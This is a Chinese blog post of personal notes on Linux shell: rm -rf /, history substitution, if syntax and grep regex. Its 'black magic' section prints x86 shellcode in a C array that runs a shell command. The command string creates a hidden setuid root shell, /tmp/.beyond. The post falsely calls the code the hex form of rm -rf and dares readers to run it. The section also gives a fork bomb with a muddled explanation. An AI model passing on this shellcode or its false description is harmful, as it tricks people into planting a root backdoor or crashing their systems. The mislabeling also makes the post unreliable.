Shell - Linux中的生存法则

写在前面

作为本文为那些年我们追过的语言的首篇Shell, 在此申明写文初衷. 本系列并不作为科普文. 文章将以我个人在学习和使用这些语言过程中, 所遇到的有趣的或是需要注意的内容为主, 称其为回忆录也并不为过. 同时, 为方便感兴趣的朋友继续学习, 将列出我使用过的资源以保证质量. 正如之前所言, 本系列:

力求文笔精炼,遵循浪漫现实主义;尽可能多干货,不排除风花雪月人生哲学;接受批评,谢绝灌水。

PS: 本文涉及所有命令, 请仔细阅读解说后自行决定是否尝试, 由此带来的格盘奔溃等问题, 在下实在爱莫能助.

从携程说起

2015年5月28日, 携程服务器全线奔溃, PC端及移动端均出现系统故障. 众说纷纭, 比较有趣的传闻是内部人员出现命令行操作失误, 将rm -rf /a/b/c敲成rm -rf / a/b/c. 真相无从得知, 也无故深究, 我们单单从这行命令说起, 引出今天的主题Shell.

如果你使用Linux, 相信对rm命令并不陌生. rm表示删除, -r代表文件夹, -f代表强制. 所以, 原始的命令rm -rf /a/b/c代表强制删除目录在/a/b/c下的所有文件. 再来一起看误操作命令rm -rf / a/b/c, 由于第一个/后空格, 系统将执行命令rm -rf /, /表示系统根目录, 由此悲剧上演. 当然, 这需要root权限, 普通用户必须使用sudo才能执行该类操作.

Linux Shell

上述的rm -rf /a/b/c便是一条交互式Shell语句, 用于用户与系统交流. 简单来说, 用户在Linux终端键入Shell命令 (交互式), 或运行Shell脚本 (批量式), 系统就会执行它们, 前提是Shell书写正确且你具有足够权限. Bash (GNU Bourne-Again Shell) 是许多Linux平台的内定Shell, 事实上, 还有许多传统UNIX上用的Shell, 像tcsh、csh、ash、bsh、ksh等等. 如今Debian和Ubuntu中, /bin/sh默认指向Dash, 相比于Bash, 它速度更快, 但功能更少. 手动将终端链接至Bash的命令是: ln -s /bin/bash /bin/sh. 想要进一步了解Shell基础概念及常用命令, 请访问以下资源:

  • Unix_shell
  • Bash_(Unix_shell)
  • GNU Bash
  • Linux Shell Scripting Cookbook
  • 鸟哥Linux私房菜

黑魔法

1. rm -rf变种

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

还记得本文开篇的rm -rf命令么? 上面这段代码便是它的十六进制形式. 不信就试试, 重走携程路.

2. fork炸弹

:(){:|:&};:

简单来说, 这是名为:的递归函数的定义和执行. 函数定义的主体{:|:&}中, |表示同时执行, :|表示后台执行. 全段最后的:为调用该函数的语句. 此时, 系统同时运行两个:函数, 一个前台, 一个后台. 无限递归, 直到世界尽头. 对此我只能说: 重启试试.

3. foobar

root@Kali:~# ipconfig
bash: ipconfig: 未找到命令
root@Kali:~# ^ip^if
ifconfig

^foo^bar是替换命令, 用于将当前终端上次输入的命令中的foo替换为bar. 上面的代码是将错误的ipconfig通过^ip^if替换为ifconfig. 当命令很长时, 该替换技巧非常方便. 关于foo和bar的含义, 可以查看计算机冷知识Foobar.

4. if语句

if [ condition ]; then
...
fi

常见的条件语句if, 对于理解Shell却大有裨益. 新手对于该语法最易犯的错误是[]两侧不加空格, 换言之, 将[ condition ]看作一个整体. 这就涉及到对Shell这种解释性语言的执行方式的理解. 实际上, [], 都与if一样, 都是单独的命令, 而命令之间必须使用空格隔开. 当系统读入[时, 它将接下来的参数理解为用户提出的condition; 当读入]时, 它才明白在前一刻condition终结. 同理, 使用Shell处理其他语句时, 也应时刻以解析器的角度去思考如何执行命令.

5. grep命令

grep全称为globally search a regular expression and print, 是一种功能强大的全局正则表达式搜索命令, 多用于管道符|之后. 关于正则的强大之处, 可以举个简单的例子. Leetcode的Shell题库中有一道Valid Phone Numbers, 题意为筛选出符合(xxx) xxx-xxxx or xxx-xxx-xxxx. (x means a digit)格式的号码输出.

直接模拟的Bash代码如下:

#!/bin/bash

m=0
while read line; do
  len=${#line}
  flag=1
  if [ $len -eq 12 ];then
    if [[ ${line:3:1} != "-" || ${line:7:1} != "-" ]];then
      flag=0
    fi
    for ((i=0; i!=len; i++));do
      if [[ $i -eq 3 || $i -eq 7 ]];then
        continue
      fi
      ch=${line:$i:1}
      if [[ $ch < "0" || $ch > "9" ]];then
        flag=0
        break
      fi
    done
  elif [ $len -eq 14 ];then
    if [[ ${line:0:1} != "(" || ${line:4:1} != ")" || ${line:5:1} != " " || ${line:9:1} != "-" ]];then
      flag=0
    fi
    for ((i=0; i!=len; i++));do
      if [[ $i -eq 0 || $i -eq 4 || $i -eq 5 || $i -eq 9 ]];then
        continue
      fi
      ch=${line:$i:1}
      if [[ $ch < "0" || $ch > "9" ]];then
        flag=0
        break
      fi
    done
  else
    flag=0
  fi
  if [ $flag -eq 1 ];then
    echo $line
  fi
  ((m++))
done < file.txt

grep正则方式如下:

cat file.txt | grep -Eo '^([0-9]{3}-){2}[0-9]{4}$|^(\([0-9]{3}\) )[0-9]{3}-[0-9]{4}$'

正则王道. 进一步学习和使用grep和正则表达式, 可参考以下资源:

  • grep
  • GNU grep
  • Regular_expression

结束语

我们追过的语言之Shell篇 , 至此告一段落. 遗憾的是, Linux中太多光怪陆离, 时至今日, 记忆模糊, 无从下笔. 至于本文所提及的内容, 如有错误欢迎指正. 当然, 更期待能与诸位的奇妙思想碰撞火花.

Shell - Linux中的生存法则_第1张图片
Shell

你可能感兴趣的:(Shell - Linux中的生存法则)